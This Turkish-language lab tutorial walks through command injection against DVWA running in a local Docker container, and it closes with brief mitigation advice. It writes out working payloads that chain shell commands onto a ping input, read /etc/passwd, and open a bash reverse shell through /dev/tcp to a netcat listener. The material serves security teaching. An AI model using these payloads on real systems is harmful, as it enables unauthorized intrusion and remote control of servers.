Tarayıcıdan Terminale: Command Injection ile Sunucuyu Ele Geçirmek

Command injection, web uygulaması kullanıcı girdisini filtrelemeden işletim sistemi komutuna eklediğinde oraya shell komutu yazabilmen demek.

Command injection bir web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt işletim sistemi komutuna ekliyorsa oraya shell komutu yazabilirsin demek. Ping formu, IP alanı, arama kutusu, parametre vs. olabilir. Uygulama o komutu çalıştırır sunucu senin yazdığını yapar.

Docker ve DVWA Kurulumu

Gerçek bir sisteme değil kendi kurduğumuz zafiyetli uygulamaya test yapacağız. DVWA (Damn Vulnerable Web Application) kullanacağız. Docker ile çalışır.

Kurulum:

sudo apt update && sudo apt install -y docker.io
sudo service docker start

DVWA’yı başlat:

docker run --rm -d -p 80:80 vulnerables/web-dvwa

Tarayıcıdan:

http://localhost/login.php

adresini aç.

Giriş bilgileri admin ve password. Setup sayfasında Create - Reset Database butonuna bas. Sonra tekrar giriş yap.

Sol menüden Command Injection sayfasına geç.

DVWA sol menüsünde Command Injection sayfası ve Ping a device formu

Normal Kullanım

Input alanına 127.0.0.1 yaz Submit’e bas. Ping çıktısı geliyor. Sunucu arka planda şunu çalıştırıyor:

ping -c 4 127.0.0.1

Form beklenen işi yapıyor.

127.0.0.1 girildiğinde dönen normal ping çıktısı

İlk Payload

Input alanına şunu yaz:

127.0.0.1; whoami

Submit sonrası ping çıktısının altında tek satır: www-data

127.0.0.1; whoami payload’ı ile ping çıktısının altında www-data satırı

Noktalı virgül shellde “birinci komut bitti şimdi ikinciyi çalıştır” demek. Uygulama girdini olduğu gibi komuta yapıştırdığı için iki komut oldu.

Başka Operatörler

Aynı mantık farklı karakterlerle de çalışır:

“&&” birincisi başarılıysa ikinciyi çalıştırır. “|” birincinin çıktısını ikinciye yollar.

127.0.0.1 && id

127.0.0.1 && id payload’ı ile dönen uid=33(www-data) çıktısı

127.0.0.1 | hostname

127.0.0.1 | hostname payload’ı ile dönen container hostname’i

127.0.0.1; cat /etc/passwd

127.0.0.1; cat /etc/passwd payload’ı ile dökülen /etc/passwd içeriği

Reverse Shell

Tek tek komut göndermek yerine interaktif shell alalım.

Kali’de dinleyici aç:

nc -lvnp 4444

Kali terminalinde nc -lvnp 4444 ile açılan ve bağlantı bekleyen dinleyici

Burada önemli bir detay var. DVWA bir Docker containerının içinde çalışıyor. Container kendi izole ağında çalışıyor ve 127.0.0.1 dediğinde Kali’yi değil kendini kastediyor. Kali’ye dönüp bağlanması için docker bridge IP adresini kullanman gerekir.

Şu komutla IP adresini bul:

ip addr show docker0 | grep "inet "

Genelde 172.17.0.1 çıkar.

Tarayıcıdaki input’a şu payload’ı yapıştır:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'

Submit’e basar basmaz nc penceresine shell düşüyor:

id komutu çalıştırınca uid=33(www-data) dönüyor. Artık sunucudayız.

nc penceresine düşen reverse shell ve id komutuyla gelen uid=33(www-data) çıktısı

Korunma

Kullanıcı girdisini direkt shell komutuna koyma. “escapeshellarg” ile gelen veriyi kaçış karakterlerine çevir. Mümkünse sistem komutu yerine dil içi kütüphane kullan. En iyisi regex ile formatı sıkıca kısıtla. IP bekliyorsan sadece IP formatına izin ver gerisini reddet.